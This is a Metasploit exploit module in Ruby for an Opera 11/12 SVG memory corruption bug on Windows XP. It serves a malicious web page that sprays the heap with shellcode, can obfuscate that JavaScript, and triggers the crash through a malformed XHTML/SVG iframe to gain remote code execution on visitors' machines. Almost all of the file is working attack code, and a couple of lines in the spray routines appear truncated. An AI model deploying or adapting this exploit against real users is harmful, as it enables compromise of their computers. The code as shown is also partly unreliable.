require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting
leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off).
Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less
success (depending of opera.dll version). This module won't work against v10.xx because it was
modified to exploit Opera upper to v11.
Read the lastest references for further details.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jose A. Vazquez'
],
'Version' => '$Revision: 0011 $',
'References' =>
[
['URL', 'http://www.beyondsecurity.com/ssd.html'],
['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'],
['URL', 'http://enred20.org/node/27']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',
{
'Method' => 'usual',
'MaxOffset' => nil,
'MaxSize' => nil,
'MaxBlocks' => 900,
'Ret' => 0x0c0c0c0c
}
],
[ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)',
{
'Method' => 'precise-allocation-size',
'MaxOffset' => 0x800,
'MaxSize' => 0x80000,
'MaxBlocks' => 0x500,
'Ret' => 0x0c0c0c0c
}
]
],
'DisclosureDate' => '0day',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true])
], self.class)
end
def on_request_uri(cli, request)
mytarget = target
if(request.uri =~ /\.xhtml$/)
html = %Q|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg">
<head>
<meta http-equiv="refresh" content="0;url=" />
</head>
<select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' >
<svt:svg>
<svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' >
<svt:svg>
<svt:font>
<svt:animateMotion>
feFuncR
</svt:animateMotion>
</svt:font>
</svt:svg>
</svt:title>
</svt:svg>
</select1>
</html>
|
print_status("Sending stage 2 (Triggering the vulnerability)")
var_contentype = 'application/xhtml+xml'
else
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})")
return if ((p = regenerate_payload(cli)) == nil)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
var_timer_trigger = (rand(3) + 2) * 1000
var_file_trigger = rand_text_alpha(rand(30)+2)
var_url = ((datastore['SSL']) ? "https://" : "http://")
var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
var_url << ":" + datastore['SRVPORT']
var_url << get_resource
if(mytarget['Method'] == 'usual')
spray_js = <<-JS
var shell = unescape("#{shellcode}");
var size = shell.length * 2;
var nopsize = 0x100000 - (size + 0x14);
var nopsled = unescape("%u#{addr_word}");
while(nopsled.length * 2 < nopsize) {
nopsled += nopsled;
}
var blocks = new Array();
for (var x = 0; x <
blocks[x] = nopsled + shell;
}
function TriggerVuln(){
document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
}
JS
else
spray_js = <<-JS
function heap_spray(blocks, code, offset, chunk_max, blocks_max) {
if (chunk_max < 0x7F000) {
throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc";
}
chunk_max /= 2;
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < chunk_max) nops += nops;
var offset_chunk = nops.substr(0, offset-code.length);
var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length);
while (block.length % 8 != 0) block += unescape("%u0c");
var shellcode = block.substr(0, (chunk_max-0x1c)/2);
for (var i=0; i < blocks_max; i++) {
blocks[i] = shellcode + unescape("%u0c0c");
}
}
var blocks = new Array();
var code = unescape("#{shellcode}");
heap_spray(blocks, code,
function TriggerVuln(){
document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
}
JS
end
if datastore['OBFUSCATE'] == true
spray_js = ::Rex::Exploitation::JSObfu.new(spray_js)
spray_js.obfuscate
trigger_sym = spray_js.sym('TriggerVuln')
spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});"
else
spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});"
end
html = %Q|
<html>
<head>
<script type="text/javascript">
#{spray_js}
</script>
</head>
<html>
|
print_status("Sending stage 1 (Spraying the heap)")
var_contentype = 'text/html'
end
send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
handler(cli)
end
end
